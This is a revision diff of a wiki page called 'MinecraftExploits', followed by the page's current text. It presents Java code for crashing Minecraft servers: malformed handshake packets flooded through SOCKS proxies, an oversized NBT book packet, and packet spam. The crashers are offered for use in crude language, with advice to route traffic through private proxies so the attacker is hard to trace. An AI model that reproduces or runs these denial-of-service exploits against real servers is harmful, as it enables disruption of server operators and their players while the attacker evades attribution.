Difference between revisions of "MinecraftExploits"

From wiki.vg
Jump to navigation Jump to search
 
Line 1: Line 1:
 
This page documents the minecraft exploits.
 
This page documents the minecraft exploits.
  
== NullPing ==
+
== Handshake Crasher ==
NullPing is just a random bytes sent to the server.
+
Sending huge amount of fucked handshake packets causes a big amount of exceptions that can fuck ur server, for best result use fast private socks proxies. (Also there is more types of handshake crashers, but some of them don't need a fucked data)
 
<syntaxhighlight lang="java">
 
<syntaxhighlight lang="java">
/**
+
 
* @author Yooniks
+
 
**/
+
private static final byte[] fuckedHandshakePacket = {0, 0, 0}; //this is fucked handshake data with 3 length of bytes (this can fuck normal bungeecord and spigot)
public static void nullPing(final String ip, final int port, final int amount) {
+
/*
     try {
+
  0 - packet length
         final Socket socket = new Socket(ip, port);
+
  0 - packet id
 +
  0 - packet data
 +
*/
 +
 
 +
public static void handshakeCrasher(Proxy proxy, String ip, int port, int amount) {
 +
     try (Socket socket = new Socket(proxy)) {
 +
         socket.connect(new InetSocketAddress(ip, port));
 
         for(int i = 0; i < amount; ++i) {
 
         for(int i = 0; i < amount; ++i) {
             socket.getOutputStream().write(ThreadLocalRandom.current().nextInt(255));
+
             socket.getOutputStream().write(fuckedHandshakePacket);
 
         }
 
         }
     }catch (final Exception e) {}
+
     }catch (Exception e) {}
 
}
 
}
 
</syntaxhighlight>
 
</syntaxhighlight>
 
  
 
== NBT ==
 
== NBT ==

Latest revision as of 00:17, 13 February 2021

This page documents the minecraft exploits.

Handshake Crasher

Sending huge amount of fucked handshake packets causes a big amount of exceptions that can fuck ur server, for best result use fast private socks proxies. (Also there is more types of handshake crashers, but some of them don't need a fucked data)

private static final byte[] fuckedHandshakePacket = {0, 0, 0}; //this is fucked handshake data with 3 length of bytes (this can fuck normal bungeecord and spigot) 
/*
  0 - packet length
  0 - packet id
  0 - packet data
*/

public static void handshakeCrasher(Proxy proxy, String ip, int port, int amount) {
    try (Socket socket = new Socket(proxy)) {
        socket.connect(new InetSocketAddress(ip, port));
        for(int i = 0; i < amount; ++i) {
            socket.getOutputStream().write(fuckedHandshakePacket);
        }
    }catch (Exception e) {}
}

NBT

Sending a lot of big packets in a short space time causes netty crash.

/**
* @author Yooniks
**/
public static void sendCrash() {
    try {
        final ItemStack itemStack = new ItemStack(Items.writable_book);
        final NBTTagList pages = new NBTTagList();
        final NBTTagString pageContent = new NBTTagString("3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j");

        for (int i = 0; i < 100; i++) {
            pages.appendTag(pageContent);
        }

        final NBTTagCompound compound = new NBTTagCompound();
        compound.setString("title", "Yooniks idiot XD");
        compound.setTag("pages", pages);

        itemStack.setTagCompound(compound);
        itemStack.setTagInfo("pages", pageContent);

        mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(itemStack));
    }catch (final Exception e) {}
}

PacketSpam

Sending a lot of packets in a short space time, causes that netty can't handle it.

/**
* @author Yooniks
**/
public static void sendCrash() {
    try {
        mc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());
    }catch (final Exception e) {}
}